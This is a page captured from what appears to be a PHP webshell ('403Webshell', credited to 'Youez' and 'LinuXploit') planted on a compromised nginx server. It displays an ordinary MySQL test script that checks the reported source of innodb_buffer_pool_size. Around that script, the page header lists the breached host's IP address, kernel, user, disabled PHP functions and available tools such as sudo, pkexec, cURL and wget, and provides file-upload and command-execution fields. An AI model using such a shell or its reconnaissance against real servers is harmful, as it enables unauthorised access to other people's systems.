403Webshell
Server IP : 112.74.42.100  /  Your IP : 216.73.216.142
Web Server : nginx/1.20.2
System : Linux iZwz96lx4pjqiy84w4hni7Z 5.10.134-17.3.al8.x86_64 #1 SMP Thu Oct 31 14:29:57 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /www/server/mysql/mysql-test/t/system_variable_source.test
########################################################################
# Test script to test system_variable_source service implementation.   #
########################################################################

CALL mtr.add_suppression("Failed to set up SSL because of the following *");

########################################################################
# INITIAL START:                                                       #
#    innodb_buffer_pool_size is set explicitly from mysqld_default.cnf #
#    Expected source : EXPLICIT                                        #
########################################################################
--echo # Install test component
INSTALL COMPONENT "file://component_test_system_variable_source";
--echo # Un-Install test component
UNINSTALL COMPONENT "file://component_test_system_variable_source";

-- echo # Print source value of innodb_buffer_pool_size
let $MYSQLD_DATADIR= `select @@datadir`;
cat_file $MYSQLD_DATADIR/test_system_variable_source.log;
remove_file $MYSQLD_DATADIR/test_system_variable_source.log;

########################################################################
# RESTART 1:                                                           #
#    innodb_buffer_pool_size is set from command line                  #
#    Expected source : COMMAND_LINE                                    #
########################################################################
let $restart_parameters = restart: --innodb_dedicated_server=OFF --innodb_buffer_pool_size=24M --skip-mysqlx;
--source include/restart_mysqld.inc

--echo # Install test component
INSTALL COMPONENT "file://component_test_system_variable_source";
--echo # Un-Install test component
UNINSTALL COMPONENT "file://component_test_system_variable_source";

-- echo # Print source value of innodb_buffer_pool_size
let $MYSQLD_DATADIR= `select @@datadir`;
cat_file $MYSQLD_DATADIR/test_system_variable_source.log;
remove_file $MYSQLD_DATADIR/test_system_variable_source.log;

########################################################################
#    innodb_buffer_pool_size is set dynamically                        #
#    Expected source : DYNAMIC                                         #
########################################################################
--disable_warnings
SET GLOBAL innodb_buffer_pool_size=134217728;
--enable_warnings

--echo # Install test component
INSTALL COMPONENT "file://component_test_system_variable_source";
--echo # Un-Install test component
UNINSTALL COMPONENT "file://component_test_system_variable_source";

-- echo # Print source value of innodb_buffer_pool_size
let $MYSQLD_DATADIR= `select @@datadir`;
cat_file $MYSQLD_DATADIR/test_system_variable_source.log;
remove_file $MYSQLD_DATADIR/test_system_variable_source.log;

########################################################################
# RESTART 2:                                                           #
#    innodb_buffer_pool_size is set from no where                      #
#    Expected source : COMPILED                                        #
########################################################################
# Set variables to be used in parameters of mysqld.
let $MYSQLD_DATADIR= `SELECT @@datadir`;
let $MYSQL_BASEDIR= `SELECT @@basedir`;
let $MYSQL_SOCKET= `SELECT @@socket`;
let $MYSQL_PIDFILE= `SELECT @@pid_file`;
let $MYSQL_PORT= `SELECT @@port`;
let $MYSQL_MESSAGESDIR= `SELECT @@lc_messages_dir`;
let $MYSQL_SERVER_ID= `SELECT @@server_id`;

--echo # Restart server with --no-defaults
--exec echo "wait" > $MYSQLTEST_VARDIR/tmp/mysqld.1.expect
--shutdown_server
--source include/wait_until_disconnected.inc
--exec echo "restart:--no-defaults" --basedir=$MYSQL_BASEDIR --datadir=$MYSQLD_DATADIR --socket=$MYSQL_SOCKET --pid-file=$MYSQL_PIDFILE --port=$MYSQL_PORT --lc-messages-dir=$MYSQL_MESSAGESDIR --secure-file-priv="" --server-id=$MYSQL_SERVER_ID --innodb_dedicated_server=OFF --skip-mysqlx > $MYSQLTEST_VARDIR/tmp/mysqld.1.expect
--enable_reconnect
--source include/wait_until_connected_again.inc

--echo # Install test component
INSTALL COMPONENT "file://component_test_system_variable_source";
--echo # Un-Install test component
UNINSTALL COMPONENT "file://component_test_system_variable_source";

-- echo # Print source value of innodb_buffer_pool_size
let $MYSQLD_DATADIR= `select @@datadir`;
cat_file $MYSQLD_DATADIR/test_system_variable_source.log;
remove_file $MYSQLD_DATADIR/test_system_variable_source.log;

# restore default values
let $restart_parameters = restart:;
--source include/restart_mysqld.inc

Youez - 2016 - github.com/yon3zu
LinuXploit